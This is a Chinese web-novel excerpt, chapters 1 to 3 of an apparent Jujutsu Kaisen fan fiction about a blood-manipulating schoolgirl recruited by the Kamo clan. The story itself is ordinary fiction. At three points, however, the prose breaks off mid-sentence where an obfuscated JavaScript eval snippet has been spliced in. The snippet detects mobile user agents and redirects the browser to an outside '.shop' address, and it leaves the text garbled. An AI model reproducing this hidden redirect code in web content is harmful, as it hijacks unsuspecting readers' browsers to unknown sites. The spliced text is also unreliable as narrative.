《租借家主有话要说》 1. 第 1 章 “明天见——” “拜拜!” 祁响背着沉甸甸的书包,推着自行车和朋友林安一起出了校门,走向学校附近的小巷子。 跟着姑姑变动的工作一起,祁响转学到新的城市已经一个月,她很快适应了新学校的生活——主要是新的烧烤店,每天放学的时候去吃个两三串,既能解馋,又不用担心被奶奶发现,真是“完美犯罪”。 “一串香菇,一串豆角,再来一根烤肠。” “我也一样!” 两个初中生坐在烧烤店内的塑料凳上,一边嗅着空气中的椒盐香气,一边写着今天的作业。 祁响盯着玻璃窗上的冰花,转动手中的笔,完成了一整套高难度动作后,还是忍不住偷瞄林安的作业本。 林安察觉到她的目光,立刻用手臂挡住,一本正经地说道:“响响,我可是答应了老师,要帮你补上落后的课程的!再说你不是天才吗,怎么连作业都抄啊!” 祁响嘟囔道:“我可没说我是写作业的天才……” 七年转了四次学的她能够考到全班中游已经算是天才……不,优等生了吧! “但是马上就要期末考试了!就剩半个月了,老师说期末考试很重要,上个星期你还和这边的小混混打架……” 祁响义正辞严地说道:“我这也是为了大家的安全考虑,谁让那群高中生仗着自己染过发就装社会人跑来抢零花钱!” 这一点林安无法反驳,她也是因为这个才和祁响熟悉起来的——一个月前的某天,林安为了在学校赶完作业,出校门的时间晚了一点,就遇上了在墙边蹲着抽烟的辍学高中生,如果不是祁响刚刚吃完烤串骑着自行车出来,林安恐怕会很危险。 两人因此成为朋友,但在此之前,林安对祁响的印象只是转学的同班同学而已,或许还有普通话很好、很喜欢看外国动画之类的印象。 烧烤店老板把盘子放下,笑眯眯地开口:“小丫头,怎么又在吹牛?上次我叫你们学校的门卫过去的时候,你的嘴角可是都流血了。你看,疤还在呢。” 祁响下意识地摸了摸嘴唇上的疤痕,随后跳起来说道:“我那是嘴干流血!不是被打的!我可是很厉害的,从南方一路单挑到北方,未尝一败!” 话里话外完全没有丝毫反省单独一人打群架这件事的意味,甚至还有毫无掩饰的得意骄傲。 老板看向林安,林安对上祁响的目光,只好含糊开口道:“响响确实很厉害啦,而且那些高中生虽然看着很凶,其实还挺瘦的……” 老板拿这两个不知天高地厚的小孩儿没办法,只能叹了一口气:“就算你很厉害,但也只是个初中生小姑娘,如果遇上更厉害的人不就危险了吗?” 祁响下意识地在心里否定,毕竟她可是有比霓虹动画里面还要厉害的超能力。 ——可以操控自己的血液,将其变成任意形状,或是直接进行攻击,血量越多越方便,血量少也可以专攻速度和灵巧,主打一个随时随地、简单易用。 祁响嘴上的伤口就是为了方便使用能力留下来的。 不过这种事情就没有必要告诉别人了,毕竟一旦涉及到流血的问题,解释起来只会更加麻烦,而且一般人根本不会相信,林安如果不是亲眼见到,大概也不会相信世界上还有这种能力。 祁响索性理直气壮地开口:“反正还有老板在,到时候可以帮我们叫门卫大爷啊。” “唉……你们这些孩子,学习才是最重要的……” 祁响拉长声音:“知——道——啦——” 目送着老板回到后厨洗洗刷刷,趁着林安吃烤串的时间,祁响立刻不顾她的反对,拿过作业抄了起来。 林安爱干净,不会用拿了烤串的手直接抢回来,等到她擦完手,祁响已经把作业拿在手中,根本抢不回来。 迅速抄完作业,祁响这才开始享受自己的烤串,林安在一边整理书包,看她吃得正香,忍不住开口道:“响响,你也认真点上课吧,到时候我们一起考市一中。” 祁响啊了一声:“我们不是才初一吗?” 林安严肃地强调道:“但是市一中是重点高中啊,只有中考排名靠前才有机会就读,肯定要提前准备。” “那也太早了……”祁响嘟囔道:“而且说不定明年……” 姑姑在外贸公司拼事业,经常需要去各地出差,有的时候是两三个月,有的时候是一年多,祁响小时候还好,现在奶奶年纪大了,一个人没办法照顾祁响,因此祁响经常跟着姑姑的工作变动更换学校。 对上林安认真的目光,祁响还是没有说出这句话,只是答应下来:“好啦,我知道,以后尽量不抄你的作业。” 时间来得及的话她就抄别人的。 林安攥紧拳头,激动地开口道:“响响,你可是有超能力的,一定要去更厉害的地方深造,这样才能变强啊!还能帮到更多和我一样的人,超厉害的!” 祁响认真地思考了一会儿,“也…也对?” 虽然她原本只是抱着游戏技能升级的态度在锻炼自己的超能力,和小混混们打群架只是锻炼的方式之一,但如果能够像林安说的那样帮助别人,感觉似乎也不错。 “这才对嘛,所以之后我会辅导你做作业的。” 祁响立刻站起来,一本正经地立正敬礼:“遵命,学习委员!” 后厨的老板听着两个小孩的中二对话,忍不住摇摇头。 还是年纪小啊,什么超能力之类的话都能这么大声的说出口。 两个人迅速解决完烤串,这才一起蹬着自行车回家,祁响在岔路口与林安分别,往姑姑租住的退休职工小区方向骑,只是她远远看到一群西装黑衣人正站在门口,像是在等谁。 祁响立刻轻捏车闸,放慢了蹬车的速度。 什么时候小区居然请了这么专业的保安?居然还有统一制服。不对,这套退休职工的小区好像完全没必要请这种保安吧…… 祁响正有点犹豫要不要重新确认一下自己有没有认错地方,那群黑衣人已经统一转过身看向她,墨镜反射出祁响此时此刻有点呆滞的表情。 等一下……都这样盯着她,该不会是那群小混混找来的救兵吧? 虽说祁响对于自己的能力一向很有信心,但现在不是在学校后街的小巷子,说不定会有车或人路过,如果被别人看到她的“超能力”,祁响想要解释起来就很麻烦了…… 要动手吗?现在?在这里? 眼看着对面的人向自己走来,祁响下意识地调转车头,正打算往派出所的方向骑,对面的人忽然整齐地鞠躬,用蹩脚的口音大声问候:“大小姐好——!” 祁响:“?啥?” 一个盘着发髻的女人从人群中走出,和其他人相比,她的普通话要流利许多: “初次见面,响小姐,我是清水优子,代表您的母亲的家族加茂家与您会面,邀请您前往京都,成为加茂家的未来家主。” 祁响陷入了思考。 把自行车横在中间,祁响站在小区门口的路灯下,来回扫视着眼前的人,又低头看了看对方给自己查看的护照等证明身份的资料,总算从刚才的对话中大概捋出了事情全貌。 “也就是说,我的母亲是加茂家的远亲,但并不是可以使用超能力的‘咒术师’,加茂家有一种祖传的超能力——你们称之为术式,也就是赤血操术,这招可以操控自己的血液,恰巧隔代遗传给了我,所以你们要带我回去认个假爹,暂且成为加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17518024|203257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茂家的对外招牌?” 对面身为加茂家代言人的清水优子一怔,没想到祁响竟然这么快就能够理顺事情的大概经过,随后微微颔首:“没错。” 祁响竖起食指,认真地问道:“首先,为什么会执着于这个?招牌的意思就是假货对吧?你们不会让我真的继承加茂家家主的位置,那为什么一定要我这个招牌呢?” 清水优子一哽,脸上流露出难堪的表情,许久之后还是勉强开口道:“不瞒您说,加茂家作为御三家的成员之一,这些年却没有能够掌控赤血操术的嫡子,几个庶子的术式也上不了台面……而五条家和禅院家却都已经有了合适的继承人,这样下去,加茂家恐怕会沦为咒术界的笑柄……” 祁响虽然不明白懂这种事情有什么屈辱的,但结合自己听说过的事情,也能猜到一点原因。“我明白了!这就叫不蒸馒头也要争口气啊!” 这不就是繁殖欲大爆发在拼儿子吗!嘴上说的是高贵的御三家,其实是听起来更像是封闭小山村那种思想,日本的思想精神状态居然落后国内这么多吗?感觉说出去都没人信。 拥有超能力的大家族的观念居然是这样,不就是武侠小说里那种嘴上仁义道德、背后和邪恶势力勾搭在一起的高门大户吗,还以为现实里的这种家族在明面上至少会高尚一点,好幻灭…… “蒸馒头……?” “听你的意思,咒术师虽然不是什么普遍的职业,但也不是只有一两个人才能担任的情况,可为什么我从来没有遇到一个和我情况一样的人呢?还是说这种情况只有京都那边有?” 出乎意料的,从刚开始就在劝说祁响同意加茂家提议的清水优子没有说话。 看来是遇到难回答的问题了。 祁响双手比了个叉,道:“我拒绝!” 这群人不知道隐瞒了她多少事情,她可只是个小孩子啊,万一被这群大人骗了怎么办? 清水优子似乎猜到了祁响会拒绝,立刻抛出了一个令人无法拒绝的条件: “我们当然不会让响小姐白费辛苦,只要您同意前往京都,每年都会有两千四百万日元的薪酬,分成十二份按月转出,其余的日常开支、学费、补习费等都由加茂家负责。响小姐您身为继承人,每月的生活费也会正常下发,方便您的其他活动。” 祁响:“……等等!多少?” 祁响因为姑姑的工作,也了解过外汇,换算下来的话,一年可以赚三百多万,月工资十万元以上…… 这个什么加茂家居然这么有钱! 祁响扯了扯嘴角,好让自己不要露出财迷的笑容,她抬手扶额,道:“只是去当一下临时招牌就给这么多钱,我才不信,肯定没那么简单吧,我拒绝!” 听到她的决定,其他人都流露出紧张的神情,只有清水优子仍然十分淡定,甚至拿出了一份合同,开口道:“根据我们打听到的情况和检测的残秽,您应该已经觉醒术式将近八年了,但对于术式的运用还是处于基本阶段,如果您同意这份条款的话,加茂家可以倾囊相助,帮助您掌握赤血操术。” 祁响没想到对方连这个都已经打听到了,毕竟她经常搬家,想要收集关于她的事情应该很难才对,加茂家的人却连她是什么时候觉醒能力都一清二楚,很有可能是动用了什么人脉之类的。 “还是拒绝。”祁响扶起自行车,打算绕过清水优子,边走边道:“我只是一个弱小无助的小女孩,现在突然和我说这个,还要我漂洋过海去国外,谁知道是不是什么人口贩卖,我才不会答应。” 不行!她一定要顶住三百万的诱惑,绝对不能轻易倒下! “响小姐,难道您不想知道您的父母究竟为什么会失踪吗?” 祁响终于停下脚步。 2. 第 2 章 父母是在祁响三岁那年消失,祁响只在幼儿园问过姑姑一次,得知他们是一起失踪、生死不明,看到姑姑的表情之后,祁响就再也没有问过关于父母相关的事情。 对于她们的家庭而言,有的事情还是不要提起比较好。 尽管已经没有了关于父母的记忆,但祁响对于父母并非完全没有感情。 父母都很喜欢拍照,从祁响出生到他们失踪,留下了厚厚的一本相册,里面全部都是关于女儿的照片。除此之外,也有很多婴儿的小衣服、买来的小玩具…… 从奶奶和姑姑的态度,祁响也能意识到,父母绝对不是抛弃自己,而是有别的原因。 从清水优子的话来分析,祁响父母的失踪大概和“咒术”这个概念相关…… 卧室隐约传来姑姑和同事打电话的声音,祁响把书包放在鞋柜上,这才脱了外套,坐在暖气边上烤手。 出乎意料的,奶奶也没有询问她为什么这么晚才回来,反倒是挂断电话的姑姑走出来,咦了一声,开口问道:“响响,怎么这么晚才回来?”她凑近祁响问了问,道:“也没有烧烤店的味道啊。” 祁响搓了搓手,还是选择性地说出了真话:“放学回家的时候我遇上了妈妈家的亲戚……” 客厅内的气氛凝固了一秒,随后姑姑忍不住发出了不敢置信的声音:“什么!嫂子家还有活人?当初你过周岁要请人的时候嫂子可不是这么说的!不是说遭天谴了吗……” 祁响:“……” 加茂家到底是什么类型的原生家庭啊,妈妈居然讨厌他们到这个地步吗! 倒是奶奶冷静地开口道:“他们说了什么?” 祁响犹豫了一下,还是拿出那两份合同,递到了奶奶的面前,开口道:“这个是合同,对面已经签字了。” 不是她不坚强,是三百万太诱人了!再说她只是拿到了合同,又没有签合同,问题不大! “哇,居然有合同,还是双语的,这么靠谱吗?”姑姑接过合同,忽然觉得哪里不对。“等一下……合同?认亲……需要合同吗?” 祁响含含糊糊地解释道:“因为又不是真的去做什么大小姐,只是因为……”她思考一瞬,毫不犹豫地开口道:“因为妈妈是加茂家的独生女,结果和爸爸在一起了,老头子的精子质量太差,所以找我这样的超级无敌优等生回去撑一下场面,等到生命科学进步之后应该就会让他亲生的儿子继承家产,大概是这样吧。” 姑姑:“……这是人类能够想得出的剧情吗?” 祁响打了个哈哈,果断转移话题道:“姑姑,你能看懂这两份合同的内容吗?我想确定一下是不是真的。” 姑姑抓了抓头发,“响啊,家里唯一一个在看外国动漫的人好像是你,零花钱不是去买动画光碟了吗?现在来问我这个是不是哪里不太对呢?” 祁响有点心虚:“我只会跟着说一些口语而已……姑姑才是,你之前不是还和日本的公司打交道吗?好像就是京都的,我还以为你一定能看懂……” “翻译当然是有专门的工作人员啊,我怎么可能接触一家公司就学一门语言,你们这些小孩不要误会我们中年人的记忆力好吗!本来上班就够辛苦了……” 奶奶沉默不语,只是拿起桌上的合同读了起来:“加茂……租借继承人……计划?” 原本还在发愁的姑侄两人忽然愣住,转头看向坐在沙发上的老人。 “等一下……奶奶你居然能看懂日文吗!” 奶奶一脸淡定地摆摆手:“因为当初响响的爸爸和妈妈要结婚了,所以我特意提前学了日语和日文,结果没想到响响的妈妈也提前学了普通话,平常也用不到这个,我应该早就忘了……居然没忘,看来我退休还是退早了,应该在外贸公司继续发光发热才对。” 姑姑:“……果然高手在民间啊。” 祁响:“所以我妈妈居然真的是外国人!” 母女两个看向祁响:“你以为我们是在骗你吗……?” 祁响有些心虚地挠了挠脸颊,“这个……我又没有什么混血特征,我还以为是开玩笑的,而且混血儿考试又不给加分……” 她一直以为自己是那种某县和隔壁县混血,对加茂家给出的关于妈妈的资料也是半信半疑,但是既然奶奶也这么说了,应该不会有错。 姑姑敲了敲她的额头,道:“靠这个才加几分?有这个时间少抄点作业吧。” 祁响:“……”到底是怎么知道她在抄作业的! “年薪和生活费是分块的,连衣食住行和学校都安排好了……”奶奶迅速浏览完合同,开口问道:“响响,你是不是打算去日本?” 祁响表情一僵,先是抬头看了看天花板,又挠了挠下巴,扭捏了半天才终于开口道:“我是有点想去。” “和你父母有关?” 祁响转过身,走到橱柜边上,看着那张一家五口的合影,开口道:“是,不过也不全是……” 除了父母的事情,祁响也对自己身上的特殊能力很感兴趣,尤其是在得知可以凭借加茂家完全掌握能力之后,祁响就更加想去日本了。 总觉得现在的生活太无聊了,循规蹈矩的升学、工作,过着平平无奇的生活,虽然这种日子不坏,但对于祁响来说还是太沉闷了。 她真的很想感受一下另一种生活究竟是什么样子,加茂家的邀请就是一次尝试,反正对她来说不亏,在履行完合同里的职责后,祁响可以直接回国,只要保密咒术相关的事情就好。 “要是奶奶和姑姑不同意的话,我就不去了。”祁响看向两人,认真地说道:“奶奶和姑姑是我唯二的亲人,我不想弄丢你们。” 对上祁响坚定的目光,奶奶叹了一口气,道:“既然如此,那就按照你的想法来吧。” 她对孙女的想法实在是太了解了,如果真的不打算去的话,祁响根本就不会把合同拿回来,现在的她只是在等她们同意的答案而已。 “欸?真的假的?奶奶你同意我的选择了吗?” 姑姑伸手搂住她的肩膀,嫌弃道:“都说让你少看点日本动画了,说话都有动画的味道了!” 祁响一脸严肃地说道:“这么说的话,我学日语应该会很快吧。” “还没有到日本就开始想这个了吗……” “年薪三百万还可以多学一门语言,换成是谁都会积极主动吧!” 合同的签订很简单,第二天一早,清水优子包下了一家咖啡馆,祁响一个人将,祁响没什么感觉,倒是清水优子一副不可思议的表情,似乎完全没有想到事情竟然会这么顺利。 祁响一手托腮,忍不住吐槽道:“也不用那么惊讶吧,优子姐姐,你这个表情会让我怀疑我是不是不该签这个合同……” “抱歉……”清水优子说到一半,忽然意识到什么,震惊地问道:“优子……姐姐?是……在称呼我吗?” “不然呢?”祁响指了指她身后的几个壮汉,问道:“他们也有叫优子的?” “没有!”清水优子坐直了身体,表情格外严肃,道:“只有我一个人叫优子!不过……响小姐您是加茂家的继承人,我只是协助的角色,叫姐姐还是太逾矩了……” 祁响忍不住抽抽嘴角:“叫叔叔阿姨、哥哥姐姐是最基本的礼貌吧,也不用那么夸张……” 这年头居然还有逾矩这样的说法,加茂家是什么土皇帝吗,马上就要千禧年了,居然还想搞封建…… “但是……还是……” 察觉到清水优子的犹豫,祁响还是决定入乡随俗:“我知道啦,这样会给你惹麻烦的,对吧?等到只有我们两个的时候我就按照我的想法称呼咯。” 清水优子微微一愣,随后郑重地轻轻点头,“好。” 响小姐明明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17518025|203257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子气十足,但却能够体谅别人呢…… 祁响忽然想到什么,看向旁边的加茂家护卫,煞有介事地叮嘱道:“你们也会保密的对吧?我现在可是加茂家的太子……啊不对,是加茂家的继承人,你们要是说出去的话,我可不会大发慈悲地原谅你们,知不知道有句老话叫‘拖出去砍了’?。” “是!我们明白了!” 祁响话音刚落,清水优子已经站了起来,格外认真地开口道:“既然响小姐已经是加茂家的继承人,那么接下来该进行下一步。” 祁响看出她隐隐约约的激动,忍不住也跟着站了起来,期待地凑近清水优子,期待地问道:“什么下一步?是先去打二十个怪提升能力,还是给我做点灵丹妙药之类的加强身体?” 清水优子攥紧拳头,激昂开口道:“接下来我们去京都购物!是时候开始响小姐形象改造了!” 祁响:“……”热情一下子燃尽了是怎么回事……接下来不应该是战斗爽吗! “不过……去日本之前,我还有一件事想要拜托你们。” 清水优子微微一愣:“嗯?” “呕……” 清水优子担忧地看着趴在洗手池边上的祁响,开口问道:“响小姐……你是恐高吗?” 原本正在抠嗓子眼的祁响勉强抬起头,嘴角扯出一个笑容:“怎么可能,我才不恐高,我家可是住五楼!我只是晕机而已……” 想到祁响应该是第一次坐飞机,因此清水优子特意给祁响安排了方便欣赏景色的座位,但目前看来,她似乎完全没有享受的感觉…… 祁响干呕了半天,确定自己嗓子眼里应该不会跑出新的东西之后,这才接过清水优子递来的帕子擦了擦嘴。 这样之后应该就不会吐了吧…… “说起来,响小姐特意让人扮演招生办的人是为什么呢……” “因为学习才是学生的主业啊。”祁响双手环胸,义正词严地强调道:“‘提高一分,干掉千人’的含金量就在这里,有一个好学校就证明将来会有一份好工作,有一份好工作就证明前途光明,这样不管是周围的邻居,还是我的同学朋友,都不会产生误解,比如我是因为学习太差被家里发配回老家等着初中毕业之后去打工。” “原来是这样……” “正是如此。” 最重要的是,这样一来林宁也不用担心她的学习问题。 “响小姐请放心,之后在加茂家不用担心学校的事情,会有专门的家教授课,学籍会挂在名校,如果您想去参观游玩的话,只要考试的时候去一趟就可以。” 祁响抽抽嘴角,“等一下——你们有没有考虑过我的学习能力不一定能够从那种名校毕业呢……” 清水优子转头看向她,严肃地说道:“加茂家的教育绝对不会有任何问题的!” 祁响:“……”开始自说自话了,家族荣誉感也太强了一点吧,这种已经算是无脑信任的地步。 “如果考试成绩不理想,我们也会花钱来帮您毕业的。” 祁响不敢置信地啊了一声:“还能这样吗!” 突如其来向她揭露这种黑暗现实真的没关系吗? 话虽如此,清水优子的表情完全没有向小孩子说了不该说的话的担忧表情,显然是对这种事情司空见惯。 祁响不由在心底感慨起来。 为什么别人家的主角都是被名门正派招揽,从此开始贯彻正义的一生,只有她好像从一开始就直接掉入反派老巢啊! 这个御三家和咒术界……怎么感觉很邪恶的样子。 “响小姐,专车已经停在接机口了,我们走吧。” 祁响眨眨眼:“是要直接去加茂家吗?” 清水优子露出一个微笑:“当然是先去造型店,响小姐应该还没有忘记吧。” 祁响:“……”怎么还记得这回事? 3. 第 3 章 “作为继承人,当然要有符合身份形象的造型。”清水优子比划了一下,道:“响小姐原本的发型也太简单了一点,只是扎了长马尾而已,感觉不是很像大小姐呢……” 从镜子里看到清水优子的小动作,祁响忍不住吐槽道:“学校当然不可以留那种奇怪的发型啊,会被教导主任抓住叫家长的好吗!” “所以让发型师做成辉夜姬那样的发型更好呢,一眼就能确定是大小姐啊。” “真的假的……”祁响一脸怀疑,问道:“另外两家的继承人也这样?” 清水优子严肃开口道:“另外两位少爷可没有这个机会,因为他们是男人。” 祁响:“……哇哦,好幽默。” 看来她的判断没有问题,所谓的御三家果然是大型的罗家村。 “另外,衣服我也挑好了。”清水优子兴致勃勃地提起袋子,道:“这个是●奈儿,还有●驰,我临时买了几套,试试看哪一套更合适~” 祁响抽抽嘴角:“总觉得你很兴奋……” “哪有——” “好酷——看起来有点像是外国电影的感觉!” “这套也很合适!温柔的千金小姐就是这样的!” “之后试试振袖吧!响小姐有一米六,穿和服会很好看的!” 祁响自动无视来自周围的加茂家护卫们的夸赞声,从五六套黑白灰的衣服里面挑了最亮眼的一套杏黄色西装套裙换上,对着镜子打理修剪整齐的刘海,忍不住想要用皮筋把头发重新扎好。 习惯了学校的大光明发型,现在忽然披头散发的,总感觉哪里怪怪的……而且因为完全听不懂发型师的话,也不会说明自己的要求,只能被迫把头发剪成这样…… 清水优子察觉到她的不自然,笑眯眯地说道:“慢慢就会习惯的,响小姐这样超级可爱——” 原本在盯着镜子里的自己的祁响眨眨眼,忍不住抬手摸了摸胸口。 她回过头,看向店内沙发上放着的其他衣服,问道:“那些衣服你不退吗?不合适的衣服应该可以退吧。” “啊,这些,响小姐如果不喜欢的话丢掉就好,平时在宗家还是穿和服比较多,这些套装不过是临时穿一下而已。” 祁响:“……”最夸张的老钱来了。 “太浪费了,不要的话至少要放到二手市场卖出吧!”祁响把衣服全部收拾好,重新放回袋子里,交给旁边的保镖护卫们,随后才道:“和服要裹得严严实实的吧,就算不穿运动服,至少也是裤装更方便,所以之后我要买裤子,最好是宽松的类型,靴子、运动鞋随意,这点要求应该不会影响‘继承人的形象’吧。” 她抬眼看向清水优子,发现对方不知道从哪里掏出了一个笔记本,正在上面飞速记录。 祁响扯扯嘴角,道:“优子姐姐,你在记什么啊……” 清水优子竖起笔,解释道:“因为我只是助理,最终的决定权不在我这里,只能记下来交给家主大人统一处理……不过响小姐请放心,每一条建议我都会如实反馈给家主大人的!”说完,她指挥着其他人将袋子拿好,显然是打算带着祁响离开造型店。 祁响背着双手走在前面,偶尔打量着商场内闲逛的其他路人。 感觉好像是和在国内不一样,倒不是简单的听不懂方言的问题,而是周围人的气息完全变了……有点像是即将到来的雨季前的感觉,是因为这次换的环境不在国内的缘故吗?还是有点不太自在啊。 虽然今天不是节假日,但电梯轿厢也完全站不下这么多人,因此祁响和清水优子先一步进入电梯,其他人则等下一班电梯。 随着电梯失重过后的缓速下降,祁响和清水优子都陷入了沉默,只是看着电梯里的人随着楼层抵达而一个个离开,直到电梯内空无一人。 想起刚才清水优子的话,祁响看向她,好奇地问道:“说起来,优子姐姐你姓清水,不是加茂啊,为什么会替加茂家来接我呢?加茂家也给了你很多钱吗?” 提起这个,清水优子的表情有些窘迫,似乎这个原因有点令人难以启齿。 祁响立刻意识到这个问题的答案似乎不太妙,立刻乖巧地道歉:“对不起。” 清水优子似乎没想到她会是这样的反应,不由愣在原地,过了一会儿才开口道:“响小姐,你真温柔。” 祁响欸了一声,“这是夸奖吗?我怎么觉得放在日语环境里面好像哪里不对……” 那不就是那个什么专业名词……亚撒西!感觉被夸这个的人都不会有好下场…… 清水优子被她的话逗笑:“温柔是好事啊……放在御三家的话,应该也是好事吧……” 祁响:“令人心慌的重复!” 清水优子微微一笑:“比起我的事情,响小姐更应该好好了解一下五条家和禅院家的事情才对。” 祁响有模有样地学着她刚才的语气,假装迟疑,“也……对?”她竖起食指,道:“‘知己知彼,百战不殆’,这个我学过哦。” 清水优子忍不住笑出了声。 电梯轿厢终于停在了地下二层,祁响正要走出去,清水优子的口袋忽然传来叮的一声,她拿出手机,不由呀了一声:“等一下,响小姐!” 祁响停下脚步,有些疑惑地问道:“怎么了?” 清水优子把手机递到她的面前,即便地下车场的灯光格外昏暗,祁响还是能够看出她表情多了一分惊恐。 祁响挠挠头,“我……看不懂日文啊,不过照片拍得还挺好看,就是这个视角好像在偷拍……话说回来,这个倒计时是什么意思呢?” “响小姐……您被悬赏了,悬赏金额三千万日元,要求是尸体。” 祁响:“……”她居然只值年薪多一点的价格吗? 清水优子:“响小姐?” 祁响忍不住长叹一声,无语地开口道:“在这种时候,我不知道该用什么表情来面对你。” 清水优子:“欸?” 祁响咬破嘴唇:“所以只要微笑就好了。” 她话音刚落,祁响唇边溢出的血液已经被拉长成为一道屏障,成功挡下了对面的攻击。 祁响刚才就隐约察觉到诡异的气息,像是即将到来的下雨天一样的腐朽气味。 电梯门不远处出现了一个身影,虽然难以判断对方的来意,不过他身上的气息已经透露出他和之前祁响遇到的普通路人截然不同。 清水优子立刻判断出来,对方是一名咒术师——更准确地说,是诅咒师。 “等一下……赤血操术?是御三家的人?” 祁响挥散面前并不存在的烟雾,抬手指向对面,道:“加茂家正统继承人在此,用的可是加茂家可以操控血液的赤血操术哦!识相的就快点滚,否则三分钟之内杀了你,骨灰都给你扬咯!” 她见对面一动不动,这才想起自己刚才说的是中文,立刻转向清水优子道:“优子姐姐,快点翻译给他听。” 清水优子的注意力却在另一件事上:“响小姐您居然明白什么是术式公开吗!” 祁响:“……那是啥?” “真的是赤血操术……原来你是加茂家的人啊,毫无存在感的加茂家居然也会被悬赏,那还真是不——” 不等诅咒师的话说完,祁响已经冲到他的面前,双手合十击掌,一朵血花在她手掌间迸发,下一秒就变成利刃,直插对方的颈动脉。 祁响的起步速度出人意料,诅咒师勉强转身躲过,忍不住大声道:“等一下,这是小孩该有的速度吗!是强化……” 看到对方躲过这一击,祁响啧了一声,“叽里呱啦说什么呢!”她朝上啐了一口血沫,血液迅速变成飞针,冲向诅咒师的百会穴。 “这点血,根本不可能造成伤害——” “太菜了……” 清水优子小心翼翼地靠近已经昏倒在地的诅咒师,用脚尖碰了碰对方,确认他已经彻底昏迷,这才看向祁响,试探地问道:“刚刚那个是……” 她虽然已经了解过赤血操术的基本招式,但祁响刚才的那一招和加茂家的记录不太一样,让她完全无法判断祁响的咒术成长到了哪一步。 “书上有讲过,重击百会穴可以造成脑震荡,所以只要对血液进行压缩,加强冲击力,就能达到重击的效果。”祁响抬手指了指脑袋,笑嘻嘻地开口道:“优子姐姐,我是个天才吧?我的生物分数可是很高的。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17518026|203257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 清水优子有些犹豫,还是小声道:“但是……年级排名在第一百二十名,不能算是天才吧……” 祁响完全没注意到这句话,只是操控血液变成绳索将诅咒师捆紧,这才对着刚刚从消防通道冲出来的护卫们挥挥手:“人在这里,快点把他搬到后备箱里!小心被别人看到!” 清水优子连忙道:“响小姐发动术式的时候我已经降下帐了,应该不会有问题……” “我们也刚刚收到宗家发来的悬赏消息,就赶紧从消防通道下楼……” 清水优子叹了一口气:“诅咒师应该不会提前先回加茂家面见家主大人吧……” 加茂家的宗家位于京都的远郊,比起郊区,在祁响看来可以称得上是深山老林。但因为规模出乎意料的大,更像是城堡之类的建筑物,感觉放在古代可以成为军事堡垒之类的地方。 祁响趴在车窗边上,眯着眼吹风,免得自己因为路程太远而晕车,她开口问道:“刚才就想问了,另外两家的继承人是什么情况?” “禅院家的少爷还好,对于术式的精度的掌握确实很高,爆发力也很强,不过嘛……” 祁响凑到清水优子身边,问道:“不过?难道你们已经掌握了那个什么……禅院?禅院家的弱点?” “很可惜,禅院家未来家主的术式并非禅院家的家传术式十种影法术,无法用手影召唤式神。这位直哉少爷继承的是现任家主的投射咒法,缺乏资料,也就没办法具体分析,我们也只知道投射咒法与速度有很大的关系。” 祁响深沉地点点头:“明白了,就是没有攻略的意思,如果真的打起来的话,只能自己摸索啊。” 清水优子轻轻点头,忽然意识到什么,追问道:“打起来?” “想要名头响亮,最重要的就是展示自己的实力啊,这样也算一雪前耻了吧。” 清水优子愣在原地,没想到祁响思考居然这么细致,连这一点都考虑进去…… “倒也没有前耻……” 祁响毫不在意清水优子的想法,只是一副摩拳擦掌、迫不及待的样子,道:“刚才那个不过就是证明这家伙存在突破口吧?是别的方面?” 清水优子嗯了一声,双手交叠放在膝上,道:“是性格方面,直哉少爷是个傲慢嚣张、飞扬跋扈的人,又生活在禅院家那样的家族,身边有不少追捧他的对象,轻敌大意是他最大的缺陷了吧。” 祁响若有所思地说道:“啊,很有道理,所以对付这种人要用激将法对吧?那另一家呢?是家传术式吗?个性也很狂傲咯?” “是……悟少爷……” 汽车停在了加茂家的大门前,清水优子忽然想到什么,叮嘱道:“响小姐,一会儿要注意不要随便开口说话,您不在日本长大的情况不能被别人知道。” 祁响比了个ok的手势,这才利落下车,伸了个懒腰。 清水优子则是在简单问候几句后,承担了引领祁响一起前往加茂家家主院落的任务。 祁响看着加茂家内部的景色,不由感慨这里要是开放参观或者建成影视基地之类的,应该能赚不少钱。 大家族果然有钱…… 大概走了十几分钟,清水优子才终于停下脚步,站在会客厅门口,伸手请祁响入内:“响小姐,请。” 祁响微微歪头,这才意识到清水优子口中的“hibiki”是指自己,大概是她的名字的翻译?听起来不大像音译…… 坐在客厅正中央的老人笑眯眯地开口道:“呀,响君回来啦,看起来平安无事啊。” 他留着一头长发,穿着深色的和服,看起来有点像是电视剧里面的老年高手。 祁响微微挑眉,确认对方应该就是自己合同里的便宜爹之后,注意力很快就被旁边的人吸引了。 原因无他,对方的头发实在是太引人注目了。 等一下,为什么这里有人可以染发啊!明明还是小孩,一头白毛真的合适吗! 原来她这个发型居然算是保守派! 